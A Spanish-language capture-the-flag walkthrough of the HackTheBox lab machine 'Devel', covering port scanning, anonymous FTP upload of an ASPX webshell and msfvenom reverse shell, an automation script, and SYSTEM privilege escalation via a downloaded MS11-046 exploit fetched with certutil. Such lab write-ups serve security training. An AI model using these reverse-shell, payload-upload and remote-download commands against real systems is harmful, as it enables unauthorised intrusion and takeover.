HTB Devel
¡Hola!
En esta ocasión vamos a resolver de la máquina devel
de HackTheBox.
La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre devel
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
mkhack devel
cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
osping 10.10.10.5
[*] Detectando sistema operativo ...
[+] 10.10.10.5 ttl=127 >> Windows
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.5 -oG ports | grep open
21/tcp open ftp
80/tcp open http
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
nmap -p21,80 -sCV 10.10.10.5 -oN versions
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM <DIR> aspnet_client
| 03-17-17 05:37PM 689 iisstart.htm
|_03-17-17 05:37PM 184946 welcome.png
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
RECONOCIMIENTO FTP
Iniciamos con el reconocimiento del servicio ftp
donde inicialmente probamos el acceso al servicio con el usuario anonymous
y sin contraseña, logando el acceso y la capacidad de ejecutar comandos en este servicio.
ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:bast1ant1c): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
03-17-17 05:37PM 184946 welcome.png
226 Transfer complete.
RECONOCIMIENTO WEB
Procedemos a revisar la página web por el puerto 80
, obteniendo una página por defecto de un servidor IIS
.
Inspeccionando el contenido podemos ver que la imagen se denomina como welcome.png
, recurso que vimos anteriormente en el reconocimiento ftp.
En esta ocasión mostraré dos maneras de realizar la intrusión a la máquina, pero antes de esto, vamos a ingresar a la carpeta exploit
cd ../exploit
INTRUSION WEBSHELL
Vamos a localizar una webshell de aspx
y la utilidad nc.exe
para poder obtener nuestra primera intrusión.
locate .aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx console.aspx
locate nc.exe
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
Nos conectamos nuevamente por ftp
y cargamos la webshell que denominamos como console.aspx
.
ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:bast1ant1c): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put console.aspx
local: console.aspx remote: console.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1438 bytes sent in 0.00 secs (18.7861 MB/s)
Tenemos nuestra webshell en la máquina y lo podemos comprobar al ingresar al recurso en el navegador http://10.10.10.5/console.aspx
Activamos el servicio smb
con impacket
para compartir los archivos que tenemos en la carpeta exploit
.
sudo impacket-smbserver smbFolder $(pwd)
Creamos un listener por el puerto que elegimos.
rlwrap nc -lvnp 4564
En la webshell ingresamos el siguiente comando que nos va a permitir ejecutar nc.exe
directamente en la máquina víctima y así generar una reverse shell.
\\10.10.14.15\smbFolder\nc.exe -e cmd 10.10.14.15 4564
Finalmente obtenemos acceso a una shell de la máquina victima con el usuario iis apppool\web
.
INSTUSION MSFVENOM
Para la siguiente intrusión vamos a crear con msfvenom
una reverse shell indicando el formato aspx
.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.15 LPORT=4564 -f aspx -o reverseShell.aspx
Cargamos la reverse shell al servidor ftp
.
ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:bast1ant1c): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put reverseShell.aspx
local: reverseShell.aspx remote: reverseShell.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2765 bytes sent in 0.00 secs (23.7559 MB/s)
Creamos un listener por el puerto que elegimos.
rlwrap nc -lvnp 4564
En el navegador vamos a la ruta http://10.10.10.5/reverseShell.aspx
y logramos tener acceso por otra vía a la máquina víctima.
SCRIPT DE INTRUSION PWNTRUTION.SH
Comparto el script que realicé para automatizar la intrusión de esta máquina.
##!/bin/bash
#Author: Bast1ant1c
# $1 = IP local
# $2 = Puerto
# $3 = ReverseShell
# $4 = IP victima
# Cambiar USER y PASS si es necesario
if [ -z "$1" ]; then
echo '''
[*] How to use
[+] ./pwntrution.sh <IP_Local> <Port> <RevShell_Name> <IP_Victim>'''
else
echo "[*] Generando payload"
msfvenom -p windows/shell_reverse_tcp LHOST=$1 LPORT=$2 -f aspx -o $3.aspx 2>/dev/null
echo "[*] Carga de payload"
ftp -n $4 << EOF
quote USER anonymous
quote PASS
put $3.aspx
quit
EOF
echo "[*] Ejecución de payload"
curl -s http://$4/$3.aspx
echo "[*] Descargando exploit ms11-046"
wget https://github.com/abatchy17/WindowsExploits/raw/master/MS11-046/MS11-046.exe 2>/dev/null
echo "[*] Obteniendo acceso"
rlwrap nc -lvnp $2 2>/dev/null
fi
ESCALADA DE PRIVILEGIOS
Realizamos como primer paso una enumeración basica, por medio del comando systeminfo
, obteniendo información interesante en cuanto a la versión del sistema operativo actual.
systeminfo
Host Name: DEVEL
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
Luego de un poco de investigación de la versión de Windows 6.1.7600
, encontramos que es vulnerable al script MS11-046.exe del github de abatchy17, por ende, procedemos a descargar este recurso.
wget https://github.com/abatchy17/WindowsExploits/raw/master/MS11-046/MS11-046.exe
Al obtener el exploit, activamos un servidor http
con python
por el puerto 80
.
sudo python3 -m http.server 80
En la máquina víctima realizamos la descarga desde la carpeta C:\Windows\Temp
del exploit por medio de la utilidad certutil.exe
.
cd C:\Windows\Temp
certutil.exe -f -urlcache -split http://10.10.14.15/MS11-046.exe
MS11-046.exe
whoami
nt authority\system
¡Listo! Logramos una shell con un usuario administrador.
FLAGS
Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type
, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.
cd C:\
dir /b/s user.txt
C:\Users\babis\Desktop\user.txt
set /P user=<"C:\Users\babis\Desktop\user.txt"
echo.%user:~0,10%
455111f4a9
dir /b/s root.txt
C:\Users\Administrator\Desktop\root.txt
set /P root=<"C:\Users\Administrator\Desktop\root.txt"
echo.%root:~0,10%
655befe588
¡Hemos logrado completar la máquina devel
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.